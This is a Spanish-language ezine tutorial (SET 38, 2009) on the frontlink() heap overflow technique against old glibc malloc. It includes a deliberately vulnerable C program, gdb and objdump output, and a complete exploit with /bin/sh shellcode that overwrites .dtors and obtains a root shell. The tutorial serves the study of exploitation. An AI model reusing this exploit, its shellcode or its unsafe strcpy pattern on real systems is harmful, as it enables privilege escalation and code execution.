Heap Overflows en Linux: II

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Autor: blackngel

-[ 0x0B ]--------------------------------------------------------------------
-[ Heap Overflows en Linux: II ]---------------------------------------------
-[ by blackngel ]----------------------------------------------------SET-38--


          ^^
      *`* @@ *`*     HACK THE WORLD
     *   *--*   *    
          ##         by blackngel <blackngel1@gmail.com>
          ||                      <black@set-ezine.org>
         *  *
        *    *       (C) Copyleft 2009 everybody
       _*    *_


1 - Prologo

2 - Introduccion

3 - Conocimientos Previos

4 - Tecnica Frontlink() 

5 - Conclusion

6 - Referencias



---[ 1 - Prologo

Bien, finalmente hemos logrado alcanzar la segunda parte de esta atractiva
entrega sobre Heap Overflows, por supuesto con la intencion de que antes
hayas echado un buen repaso a la mayoria de articulos presentandos en nuestra
anterior edicion de SET, la numero 37, los cuales servian de precedente para
cualquiera de las tecnicas avanzadas que podamos ir describiendo tanto en
este como en futuros articulos.



---[ 2 - Introduccion

Soy consciente de que algunos pueden estar preguntandose por que a estas
alturas nos dedicamos todavia a estudiar vulnerabilidades que han sido
parcheadas desde hace ya bastantes a~os. Mi respuesta suele ser casi siempre
la misma, lo cierto es que no existe material decente en nuestra lengua que
hasta ahora haya explicado tales fallos y como aprovecharse de ellos de forma
eficiente.

Ademas, es imposible adentrarse en articulos mas avanzados como "Exploiting
The Wilderness" [4], "Malloc Maleficarum" [5], "The use of set_head to defeat
the wilderness" [6] o incluso mi "Malloc Des-Maleficarum" [7] sin antes no
haber estudiado las primeras tecnicas relativas a Heap Overflows.

Es por estos motivos que studiamos y describimos en la primera entrega de este
articulo la famosa tecnica unlink() descrita por MaxX con la cual podiamos
conseguir la ejecucion de codigo arbitrario en un programa cuyos buffers
declarados en el heap (con malloc(), calloc() o realloc()) fueran susceptibles
de ser sobrescritos.

Si bien no para iniciados, no dejaba de ser una tecnica suficientemente
entendible y aplicable de forma practica para aquellos que tuvieran las ganas
suficientes de probarla en una version antigua de Linux (versiones anteriores
a GLIBC-2.3.6).

No contentos con eso, mostraremos en esta entrega la segunda y tambien famosa
tecnica frontlink(), que requiere unas condiciones bastante especificas para
ser aplicable y que a su vez sabemos necesita de mucha concentracion para no
perderse en la teoria que enseguida vamos a tratar.

Anotar antes de empezar que, aun a pesar de ayudarnos del material de MaxX
para describir la tecnica, este articulo no se trata ni mucho menos de una
traduccion, sino que explica de una forma mas detallada cada uno de los pasos
y ademas ofrece una version alternativa del programa vulnerable asi como
una variacion del exploit original. No nos gusta reinventar la rueda, pero
si de un arbol podemos obtener dos ramas, siempre sera mejor que una sola,
y si estas son diferentes, mejor que mejor.

Comenzamos...



---[ 3 - Conocimientos Previos

Como siempre, aprovecharemos parte del material escrito en su momento en [1]
para explicar los aspectos que sean necesarios.

Por un lado, algo que no explicamos en la primera entrega de este articulo,
es el algoritmo utilizado por malloc de Doug Lea para calcular el tama~o
exacto de un trozo o buffer solicitado por un usuario mediante malloc().

Recordamos que la cabecera de un trozo en el heap, ya sea libre o asignado,
se compone de los campos: prev_size, size, fd y bk. Si bien esto es cierto,
tambien sabemos que los dos ultimos campos no son utilizados en un trozo
asignado, ya que solo sirven para construir la lista doblemente enlazada de
trozos libres, por lo tanto se aprovechan como parte de la memoria que
contendra los datos introducidos en el buffer. Siendo esto asi, al tama~o de
buffer solicitado por el usuario debemos agregarle en principio la cantidad
de 8 bytes (prev_size + size).

Aun debemos tener en cuenta algo mas, y es que como dijimos en la entrega
anterior de este articulo, el campo "prev_size" del trozo siguiente al que
estamos solicitando no se usa (ya que solo se usa cuando el trozo anterior
es libre para indicar su tama~o), y por tanto puede mantener datos de usuario
y formar parte del trozo que estamos solicitando para ahorrar memoria.
De modo que el tama~o calculado hace un momento debemos restarle 4 bytes.

Pero ademas de esto, para terminar, malloc solo trabaja con trozos cuyo tama~o
es un multiplo de 8, de modo que asignara el multiplo de 8 mas cercano a la
cantidad recien calculada.

Esto puede lograrse mas o menos de la siguiente manera:

#define MALLOC_ALIGNMENT ( SIZE_SZ + SIZE_SZ )
#define MALLOC_ALIGN_MASK ( MALLOC_ALIGNMENT - 1 )

#define request2size( req, nb ) \
    ( nb = (((req) + SIZE_SZ) + MALLOC_ALIGN_MASK) & ~MALLOC_ALIGN_MASK ) 

Por ejemplo, si nosotros hiciesemos una llamada como "buff = malloc(666)".
El resultado seria:

   nb = (((666) + 4) + 7) & ~(7) ) = 672 

Es decir, nuestro tama~o real seria "672" que efectivamente resulta ser
un multiplo de 8, pues 672 / 8 = 84.

Como bien explica MaxX la macro real del malloc de Doug Lea es un poco
mas complicada para controlar problemas de desbordamiento, pero para que
entendamos su funcionamiento con esto nos llega.



---[ 4 - Tecnica Frontlink() 

Vamos ahora directamente a detallar la tecnica frontlink(), y para ello
mostramos el codigo de la macro que deseamos abusar:

#define frontlink( A, P, S, IDX, BK, FD ) {            \
    if ( S < MAX_SMALLBIN_SIZE ) {                     \
        IDX = smallbin_index( S );                     \
        mark_binblock( A, IDX );                       \
        BK = bin_at( A, IDX );                         \
        FD = BK->fd;                                   \
        P->bk = BK;                                    \
        P->fd = FD;                                    \
        FD->bk = BK->fd = P;                           \
[1] } else {                                           \
        IDX = bin_index( S );                          \
        BK = bin_at( A, IDX );                         \
        FD = BK->fd;                                   \
        if ( FD == BK ) {                              \
            mark_binblock(A, IDX);                     \
        } else {                                       \
[2]         while ( FD != BK && S < chunksize(FD) ) {  \
[3]             FD = FD->fd;                           \
            }                                          \
[4]         BK = FD->bk;                               \
        }                                              \
        P->bk = BK;                                    \
        P->fd = FD;                                    \
[5]     FD->bk = BK->fd = P;                           \
    }                                                  \
}

La macro frontlink( ) es llamada cuando se desea liberar un trozo previamente
asignado y sus trozos contiguos (tanto el anterior como el siguiente) no estan
libres. Cuando esto ocurre, ninguno de los trozos contiguos puede ser
desenlazado con unlink( ) para fusionarlo con el trozo a liberar (es decir,
no podemos utilizar la tecnica de explotacion descrita en la anterior entrega),
de modo que se llama directamente a frontlink( ) para buscar el lugar adecuado
en que debe situarse dentro del "bin" correspondiente al tama~o del trozo.

Si el trozo a liberar es lo suficientemente grande (mayor que 512 bytes),
podemos llegar al bucle while se~alado en [2].

El objetivo final de esta tecnica es lograr que "BK->fd" apunte a la direccion
de DTORS_END o a la direccion de alguna entrada en la GOT. Si conseguimos esto,
en [5] podremos escribir en dicha direccion la direccion del trozo P a liberar.
La direccion de este trozo P coincide exactamente con su campo "prev_size", y
si ahi se encuentra una instruccion "jump" que salte directamente a un
shellcode colocado antes o despues de este trozo (segun las condiciones),
entonces podremos ejecutar codigo arbitrario.

Pero para lograr esto debemos antes haber realizado cierto trabajo sucio. En
primer lugar deberiamos tener dentro del "bin" donde sera introducido el trozo
que estamos liberando, un trozo con su campo "fd" manipulado que apunte a su
vez a un trozo falso situado por ejemplo en el entorno pasado al programa. 
El bin contiene los trozos en orden decreciente, de modo que el trozo con el
campo "fd" manipulado debe ser mayor que el trozo a liberar para que el bucle
while() pase por el antes de terminar.

Imaginemos que previamente hemos liberado un trozo manipulado cuya cabecera
pinta asi:

                     / -> prev_size = sin modificar
   Trozo manipulado -| -> size      = sin modificar
   ---------------- -| -> fd        = direccion de un trozo en el entorno
                     \ -> bk        = sin modificar

Si el trozo a liberar es menor que este trozo manipulado, llegara un momento
que en [3], gracias a la instruccion "FD = FD->fd", FD tomara el valor de
esta direccion en el entorno, donde debemos crear otro trozo falso.

Es en este punto donde debemos lograr que el bucle while( ) se detenga con
FD apuntando al entorno. Y para ello debemos romper una de las condiciones
que rigen dicho bucle, en concreto "S < chunksize(FD)". Esto se consigue
haciendo que el valor del campo tama~o del trozo falso situado en el entorno
sea "0".

Una vez abandonado el bucle, el campo "bk" del trozo falso creado en el
entorno debe tener la direccion de (DTORS_END - 8) o una entrada en la GOT
menos 8. Este valor o direccion sera introducido en BK en la instruccion
[4] "BK = FD->bk".

Llegado a este punto, como dijimos, en [5] (BK->fd = P), sera situado en
BK + 8 la direccion del trozo P, donde situaremos codigo maquina valido que
sera ejecutado una vez el programa termine.

Por lo tanto, el trozo creado en el entorno deberia pintar asi:

                                    / -> prev_size = cualquiera
 Trozo falso creado en el entorno - | -> size      = 0
 -------------------------------- - | -> fd        = cualquiera
                                    \ -> bk        = &(DTORS_END) - 8

Dicho todo esto (complicado como se ha podido observar), las precondiciones
del programa vulnerable para la realizacion de este ataque son las siguientes:

   1) Un buffer en el heap que pueda desbordarse con una funcion como
      strcpy( ) o algo similiar.

   2) Un buffer contiguo a este que debe ser liberado y al que se le
      modificara el campo "fd" de su cabecera gracias al desbordamiento
      del buffer anterior.

   3) Un buffer a ser liberado con un tama~o mayor que 512 pero menor
      a su vez que el buffer anterior.

   4) Un buffer declarado antes que el anterior que permita asi sobreescribir
      el campo "prev_size" de este.

El siguiente programa vulnerable es el mismo que el mostrado por MaxX pero con
una peque~a modificacion que hara mas facil la explicacion del exploit. No
obstante, cumple todas las precondiciones mostradas:

-[ vulnh.c ]-

#include <stdlib.h>
#include <stdio.h>

int main(int argc, char *argv[])
{
   char *first, *second, *third, *fourth, *fifth, *sixth;

/*[1]*/ first = malloc(strlen(argv[2]) + 1);
/*[2]*/ second = malloc(1500);
/*[3]*/ third = malloc(12);
/*[4]*/ fourth = malloc(666);
/*[5]*/ fifth = malloc(1508);
/*[6]*/ sixth = malloc(12);

   printf("\nfirst = [ %p ]", first);
   printf("\nsecond = [ %p ]", second);
   printf("\nthird = [ %p ]", third);
   printf("\nfourth = [ %p ]", fourth);
   printf("\nfifth = [ %p ]", fifth);
   printf("\nsixth = [ %p ]\n", sixth);

/*[7]*/ strcpy(first, argv[2]);
/*[8]*/ free(fifth);
/*[9]*/ strcpy(fourth, argv[1]);

/*[10]*/ strncpy(second, argv[3], 64);

/*[0]*/ free(second);
   
   return 0;
}

-[ fin vulnh.c ]-

Por que la tecnica unlink( ) no puede ser aplicada en este programa? Vemos que
el trozo cuarto es desbordable mediante una llamada vulnerable a strcpy() en
[9], pero desgraciadamente el quinto trozo contiguo es liberado antes de esta
llamada y por lo tanto no podemos trucarlo en nuestro beneficio.

No obstante, aun cuando este quinto trozo ha sido introducido en su "bin"
correspondiente una vez llamado a free(), todavia podemos alterar su campo
"fd" mediante el desbordamiento del cuarto trozo.

En este punto, la tecnica unlink() seria viable si despues de [9] hubiera una
llamada como free(fourth) que liberara el cuarto trozo. Como esto nunca ocurre,
todavia podemos aprovechar la liberacion del segundo trozo en [0] para ejecutar
codigo arbitrario.

Este segundo trozo es mayor que 512, y ademas existe un buffer que le precede
(first) que permite modificar el campo "prev_size" del segundo. Por lo tanto,
y como ya dijimos, cumplimos todas las precondiciones para el exito del ataque.

El exploit que veremos a continuacion realiza las siguientes acciones:

   1) Utiliza el primer argumento pasado al programa para rellenar el cuarto
      buffer, incluidos los campos prev_size y size del trozo siguiente (el
      quinto) y sobreescribe el campo "fd" de este trozo con una direccion
      apuntando al entorno pasado al programa donde se creara un trozo falso.

   2) Utiliza el segundo argumento pasado al programa para rellenar el primer
      buffer y sobreescribir el campo "prev_size" del segundo buffer, que como
      ya sabemos forma parte de la zona de datos del primero (puesto que es
      un trozo asignado y no libre), con una instruccion jump que saltara 12
      bytes mas alla y caera directamente en la zona de datos dentro del
      shellcode.

   3) Utiliza el tercer argumento pasado al programa para insertar una
      shellcode en el segundo buffer (a traves de una llamada segura a
      strncpy() en [10]). Este por supuesto es nuestro cambio con respecto
      al programa vulnerable original, ademas de las llamadas a "printf( )"
      que nos ayudan a ver la situacion de los trozos en el heap.

   4) Crea un entorno especifico con un trozo falso cuyos campos seran,
      prev_size = DUMMY, size = 0, fd = DUMMY, bk = &(DTORS_END) -8.

Al final del ataque, la disposicion del heap deberia quedar asi:

   [ TROZO 1 ] -> Relleno

   [ TROZO 2 ] -> PREV_SIZE = jump 0x0c
               -> SIZE      = xxx
               -> DATOS     = 8 bytes basura + Shellcode

   [ TROZO 3 ]
 
   [ TROZO 4 ] -> Relleno

   [ TROZO 5 ] -> PREV_SIZE = xxx
               -> SIZE      = xxx
               -> FD        = direccion del entorno
               -> BK        = xxx

   [ TROZO 6 ]

   [ WILDERNESS ]

La direccion del entorno creado para el programa en el exploit se calcula
de la siguiente manera:

   ( (0xc0000000 - 4) - sizeof(name_prog) - (16 + 1) )

Esto es asi (ya lo hemos explicado en otras ocasiones), porque todos los
ejecutables se mapean en memoria a partir de la direccion (0xc0000000),
luego vienen 4 bytes NULL, el nombre del ejecutable y (16 + 1) es lo que
ocupara nuestro trozo falso mas 1 byte null para finalizar la cadena, a
saber:

   Trozo falso -> PREV_SIZE (4 bytes) = xxx 
                  SIZE      (4 bytes) = 0
                  FD        (4 bytes) = xxx
                  BK        (4 bytes) = &(DTORS_END) - 8
      
                  + 1 byte NULL.

Veamos antes de nada el efecto desastroso de sobreescribir el quinto trozo
a traves del overflow del cuarto buffer:

cristal:~# gdb -q ./vulnh
(gdb) run `perl -e 'print "A"x680;'` black ngel
Starting program: /root/vulnh `perl -e 'print "A"x680;'` black ngel

Program received signal SIGSEGV, Segmentation fault.
0x4008d8e8 in chunk_free () from /lib/libc.so.6

Para el exploit necesitamos saber la direccion de DTORS_END a la que debemos
restar 8:

cristal:~# objdump -s -j .dtors ./vulnh

./vulnh:	file format elf32-i386

Contents of section .dtors:
 8049738 ffffffff 00000000			++++++++

Bien, DTORS_END es igual a (0x08049738 + 4) y si restamos 8 a este valor
obtenemos el resultado "0x08049734", que utilizaremos en el campo "bk" del
trozo falso ubicado en el entorno.

He aqui el exploit final basado en el original de MaxX:

-[ exp_frontlink.c ]-

#include <stdlib.h>
#include <stdio.h>
#include <unistd.h>

#define DTORS_END_MINUS_8 0x08049734

#define VULN_PROG "./vulnh"
#define TROZO_FALSO ( (0xc0000000 - 4) - sizeof(VULN_PROG) - (16 + 1) )
#define DUMMY 0x0defaced

char shellcode[] = "\x41\x41\x41\x41\x41\x41\x41\x41" /* Trash */
                   "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c"
                   "\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb"
                   "\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh";

char jump[] = "\x01\xeb\x0c\x01";

int main(void)
{
   char *p;
   char argv1[676+1];
   char argv2[52];
   char argv3[64];
   char fake_chunk[16 + 1];
   size_t size;
   char **envp;
   char *argv[] = { VULN_PROG, argv1, argv2, argv3, NULL };

   p = argv1;
   memset(p, 'B', 676 - 4);
   p += 676 - 4;
   *( (void **)p ) = (void *)(TROZO_FALSO);
   p += 4;
   *p = '\0';

   p = argv2;
   memset(p, 'B', 52 - sizeof(jump));
   p += 52 - sizeof(jump);
   memcpy(p, jump, sizeof(jump));

   p = argv3;
   memcpy(p, shellcode, sizeof(shellcode));

   p = fake_chunk;
   *( (void **)p ) = (void *)(DUMMY);
   p += 4;
   *( (void **)p ) = (void *)(0x00000000);
   p += 4;
   *( (void **)p ) = (void *)(DUMMY);
   p += 4;
   *( (void **)p ) = (void *)(DTORS_END_MINUS_8);
   p += 4;
   *p = '\0';

   size = 0;
   for (p = fake_chunk; p < fake_chunk + (16+1); p++) {
      if (*p == '\0')
         size++;
   }
   size++;

   envp = malloc(size * sizeof (char *));

   size = 0;
   for (p = fake_chunk; p < fake_chunk + (16+1); p += strlen(p)+1) {
      envp[size++] = p;
   }
   envp[size] = NULL;

   execve(argv[0], argv, envp);

   return (-1);
} 

-[ fin exp_frontlink.c ]-

Se puede observar que este exploit es distinto al creado por MaxX, puesto
que tambien el programa vulnerable diferia un poco del original. Utilizamos
un tercer argumento donde introducimos el shellcode, que por cierto es un
poco especial, puesto que al principio del mismo hay 8 bytes de basura (con
caracteres "A"). Esto es necesario debido a que al liberar el segundo trozo,
la macro frontlink() ejecuta estas dos instrucciones antes de [5]:

        P->bk = BK;
        P->fd = FD; 

Y por lo tanto los campos "bk" y "fd" del segundo trozo (los primeros 8 bytes)
seran machacados. Como nosotros sobreescribimos el campo "prev_size" del segundo
trozo con un salto de 12 bytes (gracias al overflow producido en el primer
trozo), esto no resulta ningun problema.

Ahora ya podemos probar el exploit desde el mismo GDB:

cristal:~ # gdb -q ./exp_frontlink
(gdb) run
Starting program: /root/exp_frontlink

Program received signal SIGTRAP, Trace/breakpoint trap.
0x400012b0 in _start () from /lib/ld-linux.so.2
(gdb) c
Continuing.

first = [ 0x8049780 ]
second = [ 0x80497b8 ]
third = [ 0x8049d98 ]
fourth = [ 0x8049da8 ]
fifth = [ 0x804a048 ]
sixth = [ 0x804a630 ]

Program received signal SIGTRAP, Trace/breakpoint trap.
0x400012b0 in _start () from /lib/ld-linux.so.2
(gdb) c
Continuing.
sh-2.05b# id
uid=0(root) gid=0(root) groups=0(root)
sh-2.05b# exit
exit

Program exited normally.
(gdb)

Premio!!!

Hemos visto con todo esto que las condiciones para un ataque de esta clase
en la vida real (real-life exploit o "in the wild") son bastante trilladas,
aunque bien es cierto que todos los casos pueden darse; y lo mas importante
de todo, si eres capaz de comprender esta tecnica estaras totalmente preparado
para enfrentarte a cualesquiera otras tecnicas avanzadas de explotacion de
binarios como las descritas en el Malloc Des-Maleficarum [7].

Por ultimo, te invito a que no des por hecho y por cierto todo lo aqui descrito
y que pruebes por ti mismo a crear el programa vulnerable y dise~ar el exploit,
solo cuando empiezan a surgir los peque~os fallos y tengas que pasarte unas
cuantas horas delante de GDB depurando un problema minusculo te daras verdadera
cuenta de que la explotacion de vulnerabilidades puede convertirse en un arte
solo apto para quienes lleven el hacking metido en las venas.



---[ 5 - Conclusion

Como tenemos la costumbre de decir, "hasta aqui hemos llegado". Espero
haber cumplido con el objetivo principal de profundizar en los aspectos
mas importantes de los Heap Overflow y con ello seguir abriendote camino
hacia tecnicas mas avanzadas.

Desconozco a dia de hoy sI habra una tercera parte de esta saga, aunque,
de ser asi, estara basada seguramente en el articulo Exploting the
Wilderness [4] de Phantasmal Phantasmagoria, describiendo en detalle la
tecnica y sus posibilidades.

Os invito sobre todo en este articulo a enviarme o comentarme vuestras
dudas en las direcciones de correo "blackngel1@gmail.com" o
"black@set-ezine.org" ya que ciertos pasos pueden resultar realmente
complicados. Yo estare ahi para ayudaros a salvar dichos muros y lograr
que todo el mundo pueda avanzar sin abandonar en medio del camino. Que
nadie se de por vencido...

Feliz Hacking!

Un abrazo!
blackngel



---[ 6 - Referencias

[1] Vudo - An object superstitiously believed to embody magical powers
    http://www.phrack.org/issues.html?issue=57&id=8#article

[2] Once upon a free()
    http://www.phrack.org/issues.html?issue=57&id=9#article

[3] Advanced Doug Lea's malloc exploits
    http://www.phrack.org/issues.html?issue=61&id=6#article

[4] Exploiting the Wilderness
    http://seclists.org/vuln-dev/2004/Feb/0025.html

[5] Malloc Maleficarum
    http://seclists.org/bugtraq/2005/Oct/0118.html

[6] The use of set_head to defeat the wilderness
    http://www.phrack.org/issues.html?issue=64&id=9#article

[7] Malloc Des-Maleficarum
    http://www.phrack.org/issues.html?issue=66&id=10#article

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